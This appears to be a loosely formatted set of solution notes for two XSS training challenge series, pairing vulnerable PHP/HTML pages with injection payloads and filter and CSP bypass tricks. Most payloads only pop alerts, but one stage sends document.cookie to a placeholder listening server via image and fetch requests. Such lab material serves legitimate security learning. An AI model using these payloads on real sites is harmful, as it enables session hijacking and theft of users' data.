xss challenges by int21h
stage 1
<form action="?sid=3b4530debfc45d8e44d05547567e54ccb348e190" method="post"> Search: <input type="text" name="p1" size="60" value="" /> <input type="submit" value="Search" /></form><script>alert(document.domain);</script>
stage 2
<form action="?sid=454ea068a1791c26fe09f235c31fdaf523b7ecfd" method="post"> <hr class="red" /> Search: <input type="text" name="p1" size="60" value="" /> <input type="submit" value="Search" /> <hr class="red" /></form>”><script>alert(document.domain)</script>
stage 3
<b>Hint:</b> <span id="hide">The input in text box is properly escaped.</span><input type="hidden" name="key" value="tubhf%605/qiq" /><form action="?sid=0a6d663df55034885f64633e535afb4c5a1a1b30" method="post"> Search a place: <input type="text" name="p1" size="30" /> <input type="submit" value="Search" /> Choose a country: <select name="p2"> <!-- <option>Japan</option> --> <option>Japan</option> // <option> <script> alert(1); </script> </option> <option>Germany</option> <option>USA</option> <option>United Kingdom</option> </select></form><span id="msg" style="display:none"></span><p></p><hr />stage 4
<form action="?sid=f259051837d00c498286decbebd9332a93941de0" method="post"> Search a place: <input type="text" name="p1" size="30" /> <input type="submit" value="Search" /> Choose a country: <select name="p2"> <option>Japan</option> <option>Germany</option> <option>USA</option> <option>United Kingdom</option> </select> <input type="hidden" name="p3" value="hackme" /></form>html<input type="show" name="p3" value="" /><script> alert(document.domain);</script>">stage 5
<hr class="red" />Search: <input type="text" name="p1" maxlength="15" size="30" value="" /> //<input type="text" name="p1" size="30" value="" maxlength="50" />stage 6
???
” onmouseover=“alert(document.domain)
stage 7
???
arst onmouseover=“alert(document.domain)
stage 8
JavaScript Pseudo-protocol（JavaScript 伪协议）
<form action="?sid=19ed8385d5064a30fee35d44597cc90d2103e5b9" method="post"> Input a URL: <input type="text" name="p1" size="50" /> <input type="submit" value="Make a Link" /> <hr class="red" /> URL: <a href='"><script>alert(document.domain)</script>' >"><script>alert(document.domain)</script></a > <hr class="red" /></form>javascript
(document.domain)stage 9
???
<form action="?sid=7e2329d79d97959657ca5b762ed3314b0fbe5f00" method="post"> <hr class="red" /> No results for your Query. Try again: <!------------------------------------------------> <input type="text" name="p1" size="50" value='"><script>alert(document.domain)</script>' /> <input name="charset" value="euc-jp" type="text" /> <!------------------------------------------------>
<input type="submit" value="Search" /> <hr class="red" /></form>stage 10
<form action="?sid=3dbc35c98d4e77299ef69405ec1bd1ae7f6fdc56" method="post"> <hr class="red" /> No results for your Query. Try again: <input type="text" name="p1" size="50" value="" /> <script> alert(document.) </script> "> <input type="submit" value="Search" /> <hr class="red" /></form>” onmouseover=“alert(document.domdomainain)
stage 11-
??
XSS Challenge by y0n3uchy
Baby XSS 01
Reflected XSS
<script src="hook.js"></script><?php echo $_GET["payload"]; ?>
<h1>inject</h1><form> <input type="text" name="payload" placeholder="your payload here" /> <input type="submit" value="GO" /></form>
<h1>src</h1><?php highlight_string(file_get_contents(basename(__FILE__))); ?>html<script> new Image().src = "http://YOUR_LISTENING_SERVER_IP:PORT/?cookie=" + encodeURIComponent(document.cookie);</script>
<script> fetch("http://YOUR_LISTENING_SERVER_IP:PORT/?cookie=" + document.cookie);</script><script>alert(‘XSS’)</script>
Baby XSS 02
DOM-based XSS
<script src="hook.js"></script><script> window.addEventListener("load", function () { var q = location.hash.substring(1); window.query.innerHTML = q == "" ? `Hello!` : `Hello, ${decodeURI(q)}`; });</script>
<p id="query"></p>
<h1>inject</h1><p>Inspect the source code carefully and find where to inject :-)</p>
<h1>src</h1><?php highlight_string(file_get_contents(basename(__FILE__))); ?> ``htmlurl#<img src="x" onerror="alert(document.cookie)" /><img src=“x” onerror=“alert(‘XSS’)”/>
Baby XSS 03
<script src="hook.js"></script><?php $escaped = htmlspecialchars($_GET['payload']); ?>
<h1>Hello, <?= $escaped ?></h1><a href="<?= $escaped ?>/friends">Friends</a><a href="<?= $escaped ?>/post">Posts</a><a href="<?= $escaped ?>/settings">Settings</a>
<h1>inject</h1><form> <input type="text" name="payload" placeholder="your payload here" /> <input type="submit" value="GO" /></form>
<h1>src</h1><?php highlight_string(file_get_contents(basename(__FILE__))); ?>javascript
(“XSS”)Baby XSS 04
??? ${alert('XSS')}No Alphabets and Digits
???
No Parentheses
ES6 标签模板 (Tagged Templates)
alert`1`;same as alert(1)
script src="hook.js"></script><?php// you cannot do anything without ...
// no parentheses ...$escaped = preg_replace("/[()]/", "", $_GET['payload']);
// no event handlers!$escaped = preg_replace("/.*o.*n.*/i", "", $escaped);?>
<h1>Hello, <?= $escaped ?>!</h1>
<h1>inject</h1><form> <input type="text" name="payload" placeholder="your payload here"> <input type="submit" value="GO"></form>
<h1>src</h1><?php highlight_string(file_get_contents(basename(__FILE__))); ?><script>alert`XSS`</script>
No Quotes
String.fromCharCode() convert a ASCII to a character.
<script src="hook.js"></script><?php// by escaping the payload you won't break this system, haha! :-)$escaped = preg_replace("/['\"`&#]/", "", $_GET['payload']);?>
<h1>Hello, <?= $escaped ?>!</h1>
<h1>inject</h1><form> <input type="text" name="payload" placeholder="your payload here"> <input type="submit" value="GO"></form>
<h1>src</h1><?php highlight_string(file_get_contents(basename(__FILE__))); ?><script>alert(String.fromCharCode(88,83,83))</script>
No Parentheses Again
URL 解析机制 + javascript: 伪协议
<script src="hook.js"></script><?php$escaped = preg_replace("/[`()<>&#]/", "", $_GET['payload']);?>
<h1>Hello, <span id="<?= $escaped ?>"><?= htmlspecialchars($_GET['payload']) ?></span>!</h1>
<h1>inject</h1><form> <input type="text" name="payload" placeholder="your payload here"> <input type="submit" value="GO"></form>
<h1>src</h1><?php highlight_string(file_get_contents(basename(__FILE__))); ?>” onmouseover=“location=‘javascript
%28%22XSS%22%29’Replacement
???
<scr<script>ipt>alert(1)</script>Reining the Web by Whitelisting
JSONP (JSON with Padding)
<?php header("Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline'"); ?><script src="hook.js"></script>
<script src="csp01-util.js"></script><script src="csp01-jsonp.php?callback=callback"></script>
<h1>Hello, <?= $_GET['payload'] ?>!</h1>
<h1>inject</h1><form> <input type="text" name="payload" placeholder="your payload here" /> <input type="submit" value="GO" /></form>
<h1>src</h1><?php highlight_string(file_get_contents(basename(__FILE__))); ?><script src=“csp01-jsonp.php?callback=alert(‘XSS’);//”></script>